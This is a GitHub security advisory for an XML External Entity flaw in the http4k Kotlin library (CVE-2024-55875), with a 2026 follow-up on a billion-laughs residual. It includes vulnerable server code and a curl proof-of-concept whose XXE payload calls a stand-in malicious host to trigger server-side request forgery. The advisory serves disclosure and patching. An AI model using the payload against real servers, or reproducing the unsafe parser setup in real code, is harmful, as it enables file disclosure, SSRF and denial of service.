GHSA-7MJ5-HJJJ-8RGW

Vulnerability from github – Published: 2024-12-12 19:22 – Updated: 2026-06-09 10:42
VLAI
Summary
http4k has a potential XXE (XML External Entity Injection) vulnerability
Details

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Example Vulnerable server code:

import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document

fun main() {

    val xmlLens = Body.xml().toLens()

    // Create an HTTP handler
    val app: HttpHandler = { request ->
        try {
            // Parse the incoming XML payload to a Document object
            val xmlDocument: Document = xmlLens(request)

            // Extract root element name or other details from the XML
            val rootElementName = xmlDocument.documentElement.nodeName

            // Create a response XML based on the extracted information
            val responseXml = """
                <response>
                    <message>Root element is: $rootElementName</message>
                </response>
            """.trimIndent()

            // Respond with XML
            Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
        } catch (e: Exception) {
            // Handle invalid XML or other errors
            Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
        }
    }

    // Start the server
    val server = app.asServer(Netty(9000)).start()
    println("Server started on http://localhost:9000")
}

Maven dependency:

<dependencies>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-test-junit5</artifactId>
            <version>1.9.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter-engine</artifactId>
            <version>5.10.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-stdlib</artifactId>
            <version>1.9.0</version>
        </dependency>

        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-core</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- Http4k XML format -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-format-xml</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- http4k Netty -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-server-netty</artifactId>
            <version>5.40.0.0</version>
        </dependency>
    </dependencies>

Exploit payload example to trigger SSRF

curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"

Impact

What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability

Follow-up patch — v6.50.0.0 (May 2026)

The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting ACCESS_EXTERNAL_DTD="", ACCESS_EXTERNAL_SCHEMA="", and isExpandEntityReferences=false on the default DocumentBuilderFactory.

A residual gap remained: the parser still accepted documents containing <!DOCTYPE> declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using Body.xml() or Document.asXmlDocument() on untrusted XML.

v6.50.0.0 closes this residual by adding disallow-doctype-decl=true and FEATURE_SECURE_PROCESSING=true to defaultXmlParsingConfig. Any document containing a <!DOCTYPE> is now rejected at parse time.

Follow-up affected & fixed versions

Version Fixed Version
>= 5.41.0.0, < 6.50.0.0 6.50.0.0

v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact enterprise@http4k.org if you need it.

Follow-up timeline

Date/time (UTC) Notes
31/05/2026 17:12 Follow-up patch merged (commit c0cfaf5d63) with new tests for <!DOCTYPE> rejection and billion-laughs payload rejection
31/05/2026 18:06 http4k v6.50.0.0 released to Maven Central
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-format-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.50.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-611",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-12T19:22:01Z",
    "nvd_published_at": "2024-12-12T19:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n    val xmlLens = Body.xml().toLens()\n\n    // Create an HTTP handler\n    val app: HttpHandler = { request -\u003e\n        try {\n            // Parse the incoming XML payload to a Document object\n            val xmlDocument: Document = xmlLens(request)\n\n            // Extract root element name or other details from the XML\n            val rootElementName = xmlDocument.documentElement.nodeName\n\n            // Create a response XML based on the extracted information\n            val responseXml = \"\"\"\n                \u003cresponse\u003e\n                    \u003cmessage\u003eRoot element is: $rootElementName\u003c/message\u003e\n                \u003c/response\u003e\n            \"\"\".trimIndent()\n\n            // Respond with XML\n            Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n        } catch (e: Exception) {\n            // Handle invalid XML or other errors\n            Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n        }\n    }\n\n    // Start the server\n    val server = app.asServer(Netty(9000)).start()\n    println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n\u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-test-junit5\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.junit.jupiter\u003c/groupId\u003e\n            \u003cartifactId\u003ejunit-jupiter-engine\u003c/artifactId\u003e\n            \u003cversion\u003e5.10.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-stdlib\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-core\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- Http4k XML format --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-format-xml\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- http4k Netty --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-server-netty\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\u003c!DOCTYPE root [\u003c!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\"\u003e]\u003e\u003croot\u003e\u0026xxe;\u003c/root\u003e\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n\n### Follow-up patch \u2014 v6.50.0.0 (May 2026)\n\nThe original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=\"\"`, `ACCESS_EXTERNAL_SCHEMA=\"\"`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.\n\nA residual gap remained: the parser still **accepted** documents containing `\u003c!DOCTYPE\u003e` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.\n\n  **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `\u003c!DOCTYPE\u003e` is now rejected at parse time.\n\n#### Follow-up affected \u0026 fixed versions\n\n  | Version | Fixed Version |\n  |---------|---------------|\n  | `\u003e= 5.41.0.0, \u003c 6.50.0.0` | **6.50.0.0** |\n\nv6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.\n\n#### Follow-up timeline\n\n  | Date/time (UTC) | Notes |\n  |-----------------|-------|\n  | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `\u003c!DOCTYPE\u003e` rejection and billion-laughs payload rejection |\n  | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |",
  "id": "GHSA-7mj5-hjjj-8rgw",
  "modified": "2026-06-09T10:42:52Z",
  "published": "2024-12-12T19:22:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4k/http4k"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http4k has a potential XXE (XML External Entity Injection) vulnerability"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…